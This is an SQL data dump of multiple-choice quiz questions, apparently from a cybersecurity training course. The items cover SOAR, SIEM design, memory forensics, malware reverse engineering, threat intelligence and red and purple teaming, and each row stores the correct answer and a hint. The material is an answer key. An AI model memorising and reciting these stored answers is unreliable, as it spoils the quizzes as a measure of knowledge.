(6150, 333, 'What should playbooks always include?', 3, 'Logging and error handling', 0, 'Audit', '2025-12-26 23:11:57', '[\"Music\", \"Logging and error handling\", \"Colors\", \"Animations\"]'),
(6151, 334, 'What action is common for malware alerts?', 1, 'Isolate the host', 0, 'Containment', '2025-12-26 23:11:57', '[\"Delete the host\", \"Isolate the host\", \"Ignore\", \"Promote user\"]'),
(6152, 334, 'Threat Intel automation pushes IOCs to:', 2, 'SIEM and Firewall blocklists', 0, 'Block', '2025-12-26 23:11:57', '[\"Email\", \"SIEM and Firewall blocklists\", \"Phone\", \"Printer\"]'),
(6153, 334, 'For suspected account compromise, what should be automated?', 3, 'Force password reset and revoke sessions', 0, 'Reset', '2025-12-26 23:11:57', '[\"Promote user\", \"Force password reset and revoke sessions\", \"Delete account\", \"Ignore\"]'),
(6154, 335, 'Which Python library is used for HTTP calls?', 1, 'requests', 0, 'HTTP', '2025-12-26 23:11:57', '[\"json\", \"requests\", \"socket\", \"hashlib\"]'),
(6155, 335, 'Why is Python popular for security?', 2, 'Simple syntax and great libraries', 0, 'Easy', '2025-12-26 23:11:57', '[\"It is fast\", \"Simple syntax and great libraries\", \"It is new\", \"It is hard\"]'),
(6156, 335, 'What does hashlib calculate?', 3, 'File hashes (MD5, SHA256)', 0, 'Hash', '2025-12-26 23:11:57', '[\"Passwords\", \"File hashes (MD5, SHA256)\", \"Colors\", \"Sound\"]'),
(6157, 336, 'SOAR stands for:', 1, 'Security Orchestration, Automation, and Response', 0, 'SOAR', '2025-12-26 23:11:57', '[\"Security Operations\", \"Security Orchestration, Automation, and Response\", \"System Order\", \"None\"]'),
(6158, 336, 'What is the main benefit of automation?', 2, 'Speed and consistency', 0, 'Faster', '2025-12-26 23:11:57', '[\"More alerts\", \"Speed and consistency\", \"More cost\", \"Complexity\"]'),
(6159, 336, 'What starts a playbook?', 3, 'A trigger (e.g., SIEM alert)', 0, 'Trigger', '2025-12-26 23:11:57', '[\"A human\", \"A trigger (e.g., SIEM alert)\", \"Random chance\", \"Nothing\"]'),
(6160, 336, 'Which Python library makes HTTP API calls?', 4, 'requests', 0, 'Library', '2025-12-26 23:11:57', '[\"json\", \"requests\", \"socket\", \"os\"]'),
(6161, 336, 'For malware alerts, a common automated action is:', 5, 'Isolate the host', 0, 'Contain', '2025-12-26 23:11:57', '[\"Delete files\", \"Isolate the host\", \"Reboot\", \"Ignore\"]'),
(6162, 336, 'TheHive is an example of:', 6, 'Open-source SOAR', 0, 'Free', '2025-12-26 23:11:57', '[\"Commercial SIEM\", \"Open-source SOAR\", \"Antivirus\", \"Firewall\"]'),
(6163, 341, 'Why is real-time documentation important?', 1, 'You will forget details later', 0, 'Accurate', '2025-12-26 23:13:12', '[\"It is not\", \"You will forget details later\", \"It is slower\", \"For fun\"]'),
(6164, 341, 'Documentation is required for:', 2, 'Legal evidence and audits', 0, 'Compliance', '2025-12-26 23:13:12', '[\"Fun\", \"Legal evidence and audits\", \"Nothing\", \"Vacation\"]'),
(6165, 341, 'What should you avoid in documentation?', 3, 'Vague language like \"some malware\"', 0, 'Be specific', '2025-12-26 23:13:12', '[\"Details\", \"Vague language like \\\"some malware\\\"\", \"Timestamps\", \"Evidence\"]'),
(6166, 342, 'What timezone should timelines use?', 1, 'UTC', 0, 'Standard', '2025-12-26 23:13:12', '[\"Local\", \"UTC\", \"EST\", \"Random\"]'),
(6167, 342, 'What should every timeline entry include?', 2, 'Timestamp, Source, Event, Actor', 0, 'Complete', '2025-12-26 23:13:12', '[\"Just time\", \"Timestamp, Source, Event, Actor\", \"Just event\", \"Nothing\"]'),
(6168, 342, 'Why link to evidence in the timeline?', 3, 'To support claims with proof', 0, 'Verification', '2025-12-26 23:13:12', '[\"Decoration\", \"To support claims with proof\", \"Fun\", \"Color\"]'),
(6169, 343, 'What comes first in an incident report?', 1, 'Executive Summary', 0, 'Top', '2025-12-26 23:13:12', '[\"Appendix\", \"Executive Summary\", \"Technical Findings\", \"Timeline\"]'),
(6170, 343, 'Who is the Executive Summary written for?', 2, 'Leadership (non-technical)', 0, 'C-Suite', '2025-12-26 23:13:12', '[\"Hackers\", \"Leadership (non-technical)\", \"Developers\", \"Interns\"]'),
(6171, 343, 'What should you include in an Appendix?', 3, 'Raw logs, hashes, supporting evidence', 0, 'Details', '2025-12-26 23:13:12', '[\"Summary\", \"Raw logs, hashes, supporting evidence\", \"Executive summary\", \"Nothing\"]'),
(6172, 344, 'What should an Executive Summary avoid?', 1, 'Technical jargon', 0, 'Simple', '2025-12-26 23:13:12', '[\"Details\", \"Technical jargon\", \"Impact\", \"Recommendations\"]'),
(6173, 344, 'How should impact be described?', 2, 'In business terms (money, data, reputation)', 0, 'Quantify', '2025-12-26 23:13:12', '[\"Technically\", \"In business terms (money, data, reputation)\", \"Vaguely\", \"Not at all\"]'),
(6174, 344, 'What question should the summary answer?', 3, 'What happened and are we safe?', 0, 'Status', '2025-12-26 23:13:12', '[\"Who is to blame?\", \"What happened and are we safe?\", \"What is for lunch?\", \"Nothing\"]'),
(6175, 345, 'What does MTTD stand for?', 1, 'Mean Time to Detect', 0, 'Detection', '2025-12-26 23:13:12', '[\"Mean Time to Delete\", \"Mean Time to Detect\", \"Maximum Threat Time\", \"None\"]'),
(6176, 345, 'A high False Positive rate indicates:', 2, 'Poor detection rules', 0, 'Bad rules', '2025-12-26 23:13:12', '[\"Good security\", \"Poor detection rules\", \"Fast response\", \"Nothing\"]'),
(6177, 345, 'Why track metrics over time?', 3, 'To identify trends and improvements', 0, 'Progress', '2025-12-26 23:13:12', '[\"For fun\", \"To identify trends and improvements\", \"To delete data\", \"No reason\"]'),
(6178, 346, 'What timezone should incident timelines use?', 1, 'UTC', 0, 'Standard', '2025-12-26 23:13:12', '[\"Local\", \"UTC\", \"EST\", \"Random\"]'),
(6179, 346, 'Who is the Executive Summary written for?', 2, 'Leadership', 0, 'Audience', '2025-12-26 23:13:12', '[\"Hackers\", \"Leadership\", \"Developers\", \"Public\"]'),
(6180, 346, 'What does MTTR stand for?', 3, 'Mean Time to Respond', 0, 'Response', '2025-12-26 23:13:12', '[\"Mean Time to Read\", \"Mean Time to Respond\", \"Max Threat Time\", \"None\"]'),
(6181, 346, 'What should documentation avoid?', 4, 'Vague language', 0, 'Specific', '2025-12-26 23:13:12', '[\"Details\", \"Vague language\", \"Timestamps\", \"Evidence\"]'),
(6182, 346, 'What makes metrics valuable?', 5, 'Tracking trends over time', 0, 'Progress', '2025-12-26 23:13:12', '[\"One-time snapshots\", \"Tracking trends over time\", \"Colors\", \"Nothing\"]'),
(6183, 346, 'An Appendix should contain:', 6, 'Raw evidence and supporting data', 0, 'Details', '2025-12-26 23:13:12', '[\"Summary\", \"Raw evidence and supporting data\", \"Executive summary\", \"Nothing\"]'),
(6184, 361, 'What is the purpose of a message queue (Kafka) in SIEM?', 1, 'Buffer ingestion spikes and decouple collection from indexing', 0, 'Buffer', '2025-12-27 02:16:31', '[\"Speed up queries\", \"Buffer ingestion spikes and decouple collection from indexing\", \"Store logs long-term\", \"Replace the SIEM\"]'),
(6185, 361, 'In tiered storage, where should the last 7 days of logs reside?', 2, 'Hot tier (SSD)', 0, 'Fast', '2025-12-27 02:16:31', '[\"Cold archive\", \"Hot tier (SSD)\", \"Data lake\", \"Backup tapes\"]'),
(6186, 361, 'What does Search Head Cluster provide in Splunk?', 3, 'High availability and load balancing for searches', 0, 'HA', '2025-12-27 02:16:31', '[\"Faster indexing\", \"High availability and load balancing for searches\", \"Better parsing\", \"Cheaper storage\"]'),
(6187, 362, 'What does ECS stand for?', 1, 'Elastic Common Schema', 0, 'Schema', '2025-12-27 02:16:31', '[\"Event Collection System\", \"Elastic Common Schema\", \"Enterprise Control System\", \"Endpoint Correlation Service\"]'),
(6188, 362, 'Why normalize logs to a common schema?', 2, 'Enable consistent queries across different log sources', 0, 'Consistency', '2025-12-27 02:16:31', '[\"Make logs smaller\", \"Enable consistent queries across different log sources\", \"Hide sensitive data\", \"Comply with regulations\"]'),
(6189, 362, 'What enrichment might you add during parsing?', 3, 'GeoIP, asset info, threat intelligence', 0, 'Context', '2025-12-27 02:16:31', '[\"Compression\", \"GeoIP, asset info, threat intelligence\", \"Encryption\", \"Deletion markers\"]'),
(6190, 363, 'What is \"Multi-Stage Correlation\"?', 1, 'Detecting attack chains across multiple events/logs', 0, 'Chain', '2025-12-27 02:16:31', '[\"Faster queries\", \"Detecting attack chains across multiple events/logs\", \"Storing more data\", \"Compressing logs\"]'),
(6191, 363, 'Why add whitelists to correlation rules?', 2, 'Reduce false positives from known-good sources', 0, 'Tune', '2025-12-27 02:16:31', '[\"Make rules slower\", \"Reduce false positives from known-good sources\", \"Delete logs\", \"Add encryption\"]'),
(6192, 363, 'What is \"Absence Detection\"?', 3, 'Alerting when an expected event does NOT occur', 0, 'Missing', '2025-12-27 02:16:31', '[\"Detecting attackers\", \"Alerting when an expected event does NOT occur\", \"Finding duplicates\", \"Searching faster\"]'),
(6193, 364, 'Why filter early in a query?', 1, 'Reduce data volume before expensive operations', 0, 'Performance', '2025-12-27 02:16:31', '[\"Make results pretty\", \"Reduce data volume before expensive operations\", \"Add more logs\", \"Comply with laws\"]'),
(6194, 364, 'Which wildcard placement is more efficient?', 2, 'Suffix: admin* (not *admin)', 0, 'Suffix', '2025-12-27 02:16:31', '[\"Both equal\", \"Suffix: admin* (not *admin)\", \"Prefix: *admin\", \"Neither\"]'),
(6195, 364, 'What does \"indexed field\" mean?', 3, 'A field the SIEM can search quickly without scanning all data', 0, 'Fast lookup', '2025-12-27 02:16:31', '[\"A calculated field\", \"A field the SIEM can search quickly without scanning all data\", \"A deleted field\", \"A hidden field\"]'),
(6196, 365, 'What is Sigma?', 1, 'Vendor-agnostic detection rule format', 0, 'Universal', '2025-12-27 02:16:31', '[\"A SIEM product\", \"Vendor-agnostic detection rule format\", \"A programming language\", \"A log format\"]'),
(6197, 365, 'Why use version control for detections?', 2, 'Track changes and enable rollback', 0, 'Git', '2025-12-27 02:16:31', '[\"Make detections slower\", \"Track changes and enable rollback\", \"Hide detections\", \"Compress rules\"]'),
(6198, 365, 'What tool executes real attack techniques for testing?', 3, 'Atomic Red Team', 0, 'Test', '2025-12-27 02:16:31', '[\"Sigma\", \"Atomic Red Team\", \"Splunk\", \"Wireshark\"]'),
(6199, 366, 'In a tiered storage model, where are recent logs stored?', 1, 'Hot tier (SSD)', 0, 'Tier', '2025-12-27 02:16:31', '[\"Cold archive\", \"Hot tier (SSD)\", \"Tape\", \"Cloud only\"]'),
(6200, 366, 'What does OCSF stand for?', 2, 'Open Cybersecurity Schema Framework', 0, 'Schema', '2025-12-27 02:16:31', '[\"Open Cyber Security Framework\", \"Open Cybersecurity Schema Framework\", \"Online Cloud Security Format\", \"None\"]'),
(6201, 366, 'Multi-Stage Correlation detects:', 3, 'Attack chains across multiple events', 0, 'Chain', '2025-12-27 02:16:31', '[\"Single events\", \"Attack chains across multiple events\", \"Faster searches\", \"Log compression\"]'),
(6202, 366, 'What is the benefit of filtering early in queries?', 4, 'Reduce data volume for faster execution', 0, 'Speed', '2025-12-27 02:16:31', '[\"More results\", \"Reduce data volume for faster execution\", \"Better colors\", \"More logs\"]'),
(6203, 366, 'Sigma rules compile to:', 5, 'SIEM-specific queries (SPL, KQL, etc.)', 0, 'Output', '2025-12-27 02:16:31', '[\"PDFs\", \"SIEM-specific queries (SPL, KQL, etc.)\", \"Executables\", \"Emails\"]'),
(6204, 366, 'Detection-as-Code enables:', 6, 'Version control and CI/CD for detections', 0, 'DevOps', '2025-12-27 02:16:31', '[\"Faster attacks\", \"Version control and CI/CD for detections\", \"More alerts\", \"Less security\"]'),
(6205, 371, 'Why is memory forensics critical for fileless malware?', 1, 'Fileless malware never touches disk; only exists in RAM', 0, 'Volatile', '2025-12-27 02:18:03', '[\"It is faster\", \"Fileless malware never touches disk; only exists in RAM\", \"Disk is encrypted\", \"Memory is smaller\"]'),
(6206, 371, 'When should you capture memory during an incident?', 2, 'Before shutdown or containment actions', 0, 'Early', '2025-12-27 02:18:03', '[\"After formatting\", \"Before shutdown or containment actions\", \"Next week\", \"Never\"]'),
(6207, 371, 'What happens to RAM when power is removed?', 3, 'Data is lost (volatile memory)', 0, 'Gone', '2025-12-27 02:18:03', '[\"Data is saved\", \"Data is lost (volatile memory)\", \"Data is compressed\", \"Data is encrypted\"]'),
(6208, 372, 'Which tool captures Linux memory?', 1, 'LiME (Linux Memory Extractor)', 0, 'Linux', '2025-12-27 02:18:03', '[\"WinPMEM\", \"LiME (Linux Memory Extractor)\", \"DumpIt\", \"FTK Imager\"]'),
(6209, 372, 'What is hiberfil.sys?', 2, 'Windows hibernation file containing RAM contents', 0, 'Sleep', '2025-12-27 02:18:03', '[\"A log file\", \"Windows hibernation file containing RAM contents\", \"A virus\", \"A backup file\"]'),
(6210, 372, 'Why run acquisition tool from external USB?', 3, 'Avoid writing to evidence disk and altering it', 0, 'Integrity', '2025-12-27 02:18:03', '[\"Faster speed\", \"Avoid writing to evidence disk and altering it\", \"USB is encrypted\", \"No reason\"]'),
(6211, 373, 'Which plugin finds hidden/unlinked processes?', 1, 'psscan', 0, 'Hidden', '2025-12-27 02:18:03', '[\"pslist\", \"psscan\", \"cmdline\", \"dlllist\"]'),
(6212, 373, 'What does malfind detect?', 2, 'Injected code in process memory', 0, 'Injection', '2025-12-27 02:18:03', '[\"Network connections\", \"Injected code in process memory\", \"File hashes\", \"Passwords\"]'),
(6213, 373, 'What is the difference between pslist and psscan?', 3, 'pslist walks linked list; psscan scans all memory for process structs', 0, 'Scan vs Walk', '2025-12-27 02:18:03', '[\"No difference\", \"pslist walks linked list; psscan scans all memory for process structs\", \"psscan is faster\", \"pslist finds hidden processes\"]'),
(6214, 374, 'What is Process Hollowing?', 1, 'Starting a process suspended and replacing its code', 0, 'Replace', '2025-12-27 02:18:03', '[\"Loading a DLL\", \"Starting a process suspended and replacing its code\", \"Killing a process\", \"Debugging\"]'),
(6215, 374, 'What memory protection is suspicious when combined with code?', 2, 'PAGE_EXECUTE_READWRITE', 0, 'RWX', '2025-12-27 02:18:03', '[\"PAGE_READONLY\", \"PAGE_EXECUTE_READWRITE\", \"PAGE_NOACCESS\", \"PAGE_WRITECOPY\"]'),
(6216, 374, 'How do you detect unlinked/hidden processes?', 3, 'Compare pslist (linked) vs psscan (scanned)', 0, 'Compare', '2025-12-27 02:18:03', '[\"Run antivirus\", \"Compare pslist (linked) vs psscan (scanned)\", \"Reboot\", \"Check Task Manager\"]'),
(6217, 375, 'What does DKOM stand for?', 1, 'Direct Kernel Object Manipulation', 0, 'Kernel', '2025-12-27 02:18:03', '[\"Dynamic Kernel Object Mode\", \"Direct Kernel Object Manipulation\", \"Driver Kernel Object Manager\", \"None\"]'),
(6218, 375, 'How does a rootkit hide a process using DKOM?', 2, 'Unlinks the process from the EPROCESS linked list', 0, 'Unlink', '2025-12-27 02:18:03', '[\"Deletes the executable\", \"Unlinks the process from the EPROCESS linked list\", \"Renames the process\", \"Encrypts the process\"]');
INSERT INTO `lesson_questions` (`id`, `task_id`, `question_text`, `question_order`, `correct_answer`, `case_sensitive`, `hint`, `created_at`, `options`) VALUES
(6219, 375, 'Which Volatility plugin detects SSDT hooks?', 3, 'ssdt', 0, 'Hooks', '2025-12-27 02:18:03', '[\"pslist\", \"netscan\", \"ssdt\", \"malfind\"]'),
(6220, 376, 'What type of malware only exists in RAM?', 1, 'Fileless malware', 0, 'Memory-only', '2025-12-27 02:18:03', '[\"Ransomware\", \"Fileless malware\", \"Worm\", \"Trojan\"]'),
(6221, 376, 'Which tool is used for Linux memory acquisition?', 2, 'LiME', 0, 'Linux', '2025-12-27 02:18:03', '[\"WinPMEM\", \"DumpIt\", \"LiME\", \"FTK Imager\"]'),
(6222, 376, 'What does malfind detect?', 3, 'Injected code in process memory', 0, 'Injection', '2025-12-27 02:18:03', '[\"Files\", \"Injected code in process memory\", \"Passwords\", \"Network\"]'),
(6223, 376, 'What is DKOM?', 4, 'Direct Kernel Object Manipulation', 0, 'Rootkit', '2025-12-27 02:18:03', '[\"Dynamic Kernel Mode\", \"Direct Kernel Object Manipulation\", \"Driver Object Manager\", \"None\"]'),
(6224, 376, 'pslist walks the linked list; psscan...', 5, 'Scans all memory for process structures', 0, 'Scan', '2025-12-27 02:18:03', '[\"Is the same\", \"Scans all memory for process structures\", \"Is faster\", \"Only works on Linux\"]'),
(6225, 376, 'What memory protection suggests injected code?', 6, 'PAGE_EXECUTE_READWRITE', 0, 'RWX', '2025-12-27 02:18:03', '[\"PAGE_READONLY\", \"PAGE_EXECUTE_READWRITE\", \"PAGE_GUARD\", \"PAGE_NOACCESS\"]'),
(6226, 381, 'What tool did the NSA release for free?', 1, 'Ghidra', 0, 'Free', '2025-12-27 02:19:34', '[\"IDA Pro\", \"Ghidra\", \"x64dbg\", \"OllyDbg\"]'),
(6227, 381, 'Why extract IOCs from malware?', 2, 'Create signatures and blocklists', 0, 'Detection', '2025-12-27 02:19:34', '[\"For fun\", \"Create signatures and blocklists\", \"Delete the malware\", \"Sell them\"]'),
(6228, 381, 'What is the purpose of a disassembler?', 3, 'Convert machine code to assembly', 0, 'Translate', '2025-12-27 02:19:34', '[\"Run malware\", \"Convert machine code to assembly\", \"Compile code\", \"Debug\"]'),
(6229, 382, 'Which register typically holds return values in x86?', 1, 'EAX', 0, 'Return', '2025-12-27 02:19:34', '[\"EBX\", \"EAX\", \"ECX\", \"ESP\"]'),
(6230, 382, 'What does the CALL instruction do?', 2, 'Calls a function (pushes return address, jumps)', 0, 'Function', '2025-12-27 02:19:34', '[\"Returns\", \"Calls a function (pushes return address, jumps)\", \"Compares\", \"Loops\"]'),
(6231, 382, 'In x64 calling convention, where are the first 4 arguments?', 3, 'Registers (RCX, RDX, R8, R9)', 0, 'Registers', '2025-12-27 02:19:34', '[\"Stack only\", \"Registers (RCX, RDX, R8, R9)\", \"Memory\", \"Nowhere\"]'),
(6232, 383, 'What does \"Xrefs\" show in IDA?', 1, 'Where a function or variable is referenced', 0, 'Cross-reference', '2025-12-27 02:19:34', '[\"Errors\", \"Where a function or variable is referenced\", \"Registry keys\", \"Network calls\"]'),
(6233, 383, 'What does Ghidra\'s decompiler produce?', 2, 'Pseudo-C code from assembly', 0, 'Readable', '2025-12-27 02:19:34', '[\"Executable\", \"Pseudo-C code from assembly\", \"Encrypted code\", \"Packed code\"]'),
(6234, 383, 'Which API is commonly used to inject code into another process?', 3, 'WriteProcessMemory + CreateRemoteThread', 0, 'Injection', '2025-12-27 02:19:34', '[\"CreateFile\", \"WriteProcessMemory + CreateRemoteThread\", \"RegSetValueEx\", \"CryptEncrypt\"]'),
(6235, 384, 'What does F7 do in x64dbg?', 1, 'Step Into (enter function calls)', 0, 'Step', '2025-12-27 02:19:34', '[\"Run\", \"Step Into (enter function calls)\", \"Exit\", \"Breakpoint\"]'),
(6236, 384, 'Why set a breakpoint on VirtualAlloc?', 2, 'Catch memory allocation (often for unpacking)', 0, 'Unpack', '2025-12-27 02:19:34', '[\"It is random\", \"Catch memory allocation (often for unpacking)\", \"Speed up\", \"Delete files\"]'),
(6237, 384, 'What is a common anti-debug API to bypass?', 3, 'IsDebuggerPresent', 0, 'Anti-debug', '2025-12-27 02:19:34', '[\"CreateFile\", \"IsDebuggerPresent\", \"InternetOpen\", \"RegSetValue\"]'),
(6238, 385, 'What is the purpose of a packer?', 1, 'Compress/obfuscate code to evade detection', 0, 'Hide', '2025-12-27 02:19:34', '[\"Speed up malware\", \"Compress/obfuscate code to evade detection\", \"Add features\", \"Make it smaller for email\"]'),
(6239, 385, 'What does API Hashing hide?', 2, 'The names of Windows APIs being called', 0, 'Names', '2025-12-27 02:19:34', '[\"Return values\", \"The names of Windows APIs being called\", \"File paths\", \"Network traffic\"]'),
(6240, 385, 'How do you find the Original Entry Point (OEP)?', 3, 'Set breakpoints on VirtualAlloc, step until unpacked code runs', 0, 'Breakpoint', '2025-12-27 02:19:34', '[\"Run strings\", \"Set breakpoints on VirtualAlloc, step until unpacked code runs\", \"Read documentation\", \"Ask the malware\"]'),
(6241, 386, 'Which tool is NSA\'s free disassembler?', 1, 'Ghidra', 0, 'Free', '2025-12-27 02:19:34', '[\"IDA Pro\", \"Ghidra\", \"x64dbg\", \"OllyDbg\"]'),
(6242, 386, 'Which register holds the return value in x86?', 2, 'EAX', 0, 'Return', '2025-12-27 02:19:34', '[\"EBX\", \"EAX\", \"ECX\", \"EDX\"]'),
(6243, 386, 'What does F7 do in x64dbg?', 3, 'Step Into', 0, 'Debug', '2025-12-27 02:19:34', '[\"Run\", \"Step Into\", \"Step Over\", \"Exit\"]'),
(6244, 386, 'What is the purpose of a packer?', 4, 'Obfuscate and evade detection', 0, 'Hide', '2025-12-27 02:19:34', '[\"Speed up\", \"Obfuscate and evade detection\", \"Add features\", \"Compress for email\"]'),
(6245, 386, 'Which API is used for code injection?', 5, 'WriteProcessMemory', 0, 'Inject', '2025-12-27 02:19:34', '[\"CreateFile\", \"WriteProcessMemory\", \"RegSetValue\", \"CryptEncrypt\"]'),
(6246, 386, 'What does IsDebuggerPresent detect?', 6, 'If the process is being debugged', 0, 'Anti-debug', '2025-12-27 02:19:34', '[\"Malware\", \"If the process is being debugged\", \"Network\", \"Files\"]'),
(6247, 391, 'Who consumes Strategic threat intel?', 1, 'Executives (high-level trends, risk)', 0, 'Leadership', '2025-12-27 02:21:01', '[\"SOC Analysts\", \"Executives (high-level trends, risk)\", \"Developers\", \"Interns\"]'),
(6248, 391, 'What does \"Actionability\" mean for intel?', 2, 'Can we do something with this information?', 0, 'Useful', '2025-12-27 02:21:01', '[\"Is it expensive\", \"Can we do something with this information?\", \"Is it pretty\", \"Is it long\"]'),
(6249, 391, 'Technical intel contains:', 3, 'Hashes, IPs, domains, YARA rules', 0, 'IOCs', '2025-12-27 02:21:01', '[\"Strategy documents\", \"Hashes, IPs, domains, YARA rules\", \"Financial reports\", \"HR data\"]'),
(6250, 392, 'What is MISP?', 1, 'Open-source threat intel sharing platform', 0, 'Platform', '2025-12-27 02:21:01', '[\"A SIEM\", \"Open-source threat intel sharing platform\", \"A firewall\", \"A sandbox\"]'),
(6251, 392, 'What does GreyNoise help distinguish?', 2, 'Background internet noise vs targeted attacks', 0, 'Filter', '2025-12-27 02:21:01', '[\"Good vs bad files\", \"Background internet noise vs targeted attacks\", \"Encrypted vs clear\", \"Fast vs slow\"]'),
(6252, 392, 'What is \"Pivoting\" in threat intel?', 3, 'Using one IOC to discover related infrastructure', 0, 'Connect', '2025-12-27 02:21:01', '[\"Turning around\", \"Using one IOC to discover related infrastructure\", \"Deleting IOCs\", \"Renaming IOCs\"]'),
(6253, 393, 'What is the Diamond Model used for?', 1, 'Relating Adversary, Infrastructure, Capability, and Victim', 0, 'Framework', '2025-12-27 02:21:01', '[\"File analysis\", \"Relating Adversary, Infrastructure, Capability, and Victim\", \"Network monitoring\", \"Encryption\"]'),
(6254, 393, 'Why is attribution difficult?', 2, 'False flags, shared tools, proxy infrastructure', 0, 'Challenges', '2025-12-27 02:21:01', '[\"It is easy\", \"False flags, shared tools, proxy infrastructure\", \"Everyone signs their work\", \"Logs are perfect\"]'),
(6255, 393, 'What does \"High Confidence\" attribution mean?', 3, 'Multiple corroborating sources support it', 0, 'Verified', '2025-12-27 02:21:01', '[\"Guessing\", \"Multiple corroborating sources support it\", \"One source\", \"No evidence\"]'),
(6256, 394, 'What is STIX?', 1, 'JSON format for describing threat intelligence', 0, 'Format', '2025-12-27 02:21:01', '[\"A transport protocol\", \"JSON format for describing threat intelligence\", \"A firewall\", \"A SIEM\"]'),
(6257, 394, 'What does TAXII do?', 2, 'Transport STIX-formatted threat intel', 0, 'Transport', '2025-12-27 02:21:01', '[\"Store files\", \"Transport STIX-formatted threat intel\", \"Encrypt data\", \"Delete IOCs\"]'),
(6258, 394, 'What does TLP:RED mean?', 3, 'Not for disclosure outside the recipient', 0, 'Restricted', '2025-12-27 02:21:01', '[\"Public\", \"Not for disclosure outside the recipient\", \"Community share\", \"Partner share\"]'),
(6259, 395, 'Where can you push IOCs for blocking?', 1, 'Firewall, Proxy, EDR, Email Gateway', 0, 'Enforcement', '2025-12-27 02:21:01', '[\"Nowhere\", \"Firewall, Proxy, EDR, Email Gateway\", \"Only SIEM\", \"Only Email\"]'),
(6260, 395, 'What is a TIP?', 2, 'Threat Intelligence Platform', 0, 'Platform', '2025-12-27 02:21:01', '[\"Threat Inspection Protocol\", \"Threat Intelligence Platform\", \"Technical Investigation Process\", \"None\"]'),
(6261, 395, 'Why is a feedback loop important?', 3, 'Intel team learns if IOCs were useful or false positives', 0, 'Improve', '2025-12-27 02:21:01', '[\"It is not\", \"Intel team learns if IOCs were useful or false positives\", \"To delete intel\", \"To create more alerts\"]'),
(6262, 396, 'Who consumes Strategic intel?', 1, 'Executives', 0, 'Leadership', '2025-12-27 02:21:01', '[\"SOC Analysts\", \"Executives\", \"Developers\", \"All\"]'),
(6263, 396, 'What is MISP?', 2, 'Open-source threat intel platform', 0, 'Platform', '2025-12-27 02:21:01', '[\"SIEM\", \"Open-source threat intel platform\", \"Firewall\", \"EDR\"]'),
(6264, 396, 'STIX is a:', 3, 'JSON format for threat intel', 0, 'Format', '2025-12-27 02:21:01', '[\"Transport protocol\", \"JSON format for threat intel\", \"Firewall rule\", \"Log format\"]'),
(6265, 396, 'TAXII is a:', 4, 'Transport protocol for STIX', 0, 'Transport', '2025-12-27 02:21:01', '[\"Data format\", \"Transport protocol for STIX\", \"SIEM\", \"EDR\"]'),
(6266, 396, 'What does TLP:RED mean?', 5, 'Not for disclosure outside recipient', 0, 'Restricted', '2025-12-27 02:21:01', '[\"Public\", \"Not for disclosure outside recipient\", \"Share widely\", \"Community only\"]'),
(6267, 396, 'Where do you push IOCs for enforcement?', 6, 'Firewall, Proxy, EDR', 0, 'Block', '2025-12-27 02:21:01', '[\"Only SIEM\", \"Firewall, Proxy, EDR\", \"Nowhere\", \"Email only\"]'),
(6268, 401, 'What is the Red Team\'s primary role?', 1, 'Offensive - simulate attacks to test defenses', 0, 'Offense', '2025-12-27 02:22:24', '[\"Defensive\", \"Offensive - simulate attacks to test defenses\", \"Compliance\", \"Training\"]'),
(6269, 401, 'What is Purple Teaming?', 2, 'Collaboration between Red and Blue teams', 0, 'Collab', '2025-12-27 02:22:24', '[\"Only offense\", \"Collaboration between Red and Blue teams\", \"Only defense\", \"Management\"]'),
(6270, 401, 'Why does Purple Teaming improve security?', 3, 'Red shares attack methods, Blue improves detection', 0, 'Learn together', '2025-12-27 02:22:24', '[\"It is cheaper\", \"Red shares attack methods, Blue improves detection\", \"More alerts\", \"Less work\"]'),
(6271, 402, 'What is an ROE in Red Team context?', 1, 'Rules of Engagement - defines scope and limits', 0, 'Rules', '2025-12-27 02:22:24', '[\"A tool\", \"Rules of Engagement - defines scope and limits\", \"A C2 framework\", \"A report\"]'),
(6272, 402, 'Which tool is used for AD attack path mapping?', 2, 'BloodHound', 0, 'Graph', '2025-12-27 02:22:24', '[\"Metasploit\", \"BloodHound\", \"Cobalt Strike\", \"Nmap\"]'),
(6273, 402, 'What is post-exploitation?', 3, 'Actions after initial access (persistence, lateral movement)', 0, 'After', '2025-12-27 02:22:24', '[\"Before hacking\", \"Actions after initial access (persistence, lateral movement)\", \"Cleanup\", \"Reporting\"]'),
(6274, 403, 'What does NDR focus on?', 1, 'Network Detection and Response', 0, 'Network', '2025-12-27 02:22:24', '[\"Endpoints\", \"Network Detection and Response\", \"Email\", \"Cloud\"]'),
(6275, 403, 'What is a honeytoken?', 2, 'Fake credential or data designed to alert on access', 0, 'Trap', '2025-12-27 02:22:24', '[\"Real password\", \"Fake credential or data designed to alert on access\", \"A log file\", \"A backup\"]'),
(6276, 403, 'How does Blue Team use MITRE ATT&CK?', 3, 'Map detection coverage and identify gaps', 0, 'Coverage', '2025-12-27 02:22:24', '[\"Attack systems\", \"Map detection coverage and identify gaps\", \"Delete logs\", \"Train users\"]'),
(6277, 404, 'What is an Atomic Test?', 1, 'Single technique execution with immediate validation', 0, 'Small test', '2025-12-27 02:22:24', '[\"Full attack simulation\", \"Single technique execution with immediate validation\", \"Discussion only\", \"Report writing\"]'),
(6278, 404, 'During Purple Team, what happens if Blue fails to detect?', 2, 'Create new detection rule or tune existing', 0, 'Improve', '2025-12-27 02:22:24', '[\"Blame Red\", \"Create new detection rule or tune existing\", \"Ignore it\", \"Delete logs\"]'),
(6279, 404, 'Why is real-time communication important in Purple Team?', 3, 'Blue can correlate activity in real-time', 0, 'Immediate', '2025-12-27 02:22:24', '[\"It is not\", \"Blue can correlate activity in real-time\", \"For fun\", \"To delay\"]'),
(6280, 405, 'What is the difference between pen testing and adversary emulation?', 1, 'Adversary emulation replicates specific threat actor TTPs', 0, 'Realistic', '2025-12-27 02:22:24', '[\"No difference\", \"Adversary emulation replicates specific threat actor TTPs\", \"Pen testing is better\", \"Emulation is cheaper\"]'),
(6281, 405, 'Which framework automates adversary emulation?', 2, 'MITRE Caldera', 0, 'Automated', '2025-12-27 02:22:24', '[\"Metasploit\", \"MITRE Caldera\", \"Wireshark\", \"Splunk\"]'),
(6282, 405, 'Why emulate a specific APT group?', 3, 'Test defenses against adversaries likely to target you', 0, 'Relevance', '2025-12-27 02:22:24', '[\"For fun\", \"Test defenses against adversaries likely to target you\", \"It is required\", \"To impress management\"]'),
(6283, 406, 'What is the Red Team\'s goal?', 1, 'Test defenses by simulating attacks', 0, 'Offense', '2025-12-27 02:22:24', '[\"Build tools\", \"Test defenses by simulating attacks\", \"Write reports\", \"Train users\"]'),
